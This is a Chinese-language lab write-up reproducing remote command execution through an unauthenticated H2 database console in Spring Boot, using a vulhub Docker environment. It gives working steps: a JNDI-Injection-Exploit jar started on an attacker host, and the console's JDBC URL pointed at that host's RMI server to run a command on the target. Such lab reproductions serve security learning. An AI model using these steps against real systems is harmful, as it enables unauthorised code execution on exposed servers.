声明
好好学习,天天向上
漏洞描述
H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。
影响范围
Spring Boot + H2
spring.h2.console.enabled=true
JDK < 6u201、7u191、8u182、11.0.1(LDAP)
复现过程
这里使用1.4.200版本
使用vulhub
cd /app/vulhub-master/h2database/h2-console-unacc
使用docker启动
docker-compose build
docker-compose up -d
环境启动后,访问http://your-ip:8080/h2-console/
http://192.168.239.129:8080/h2-console/
kali搭建jndi的exp
参考如下链接,使用git拉去,maven编译
https://github.com/welk1n/JNDI-Injection-Exploit/#examples
编译好后,进入target目录,运行jar,我这以前weblogic的时候就弄好了(IP就是kali的IP,exp就用图中横线的rmi)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/h2-db -A 192.168.239.139
再次回到WEB
Driver Class:填
javax.naming.InitialContext
JDBC URL填
rmi://192.168.239.139:1099/k1s9xm
查看,命令已经执行
关闭镜像(每次用完后关闭)
docker-compose down
docker-compose常用命令
拉镜像(进入到vulhub某个具体目录后)
docker-compose build
docker-compose up -d
镜像查询(查到的第一列就是ID值)
docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID /bin/bash
关闭镜像(每次用完后关闭)
docker-compose down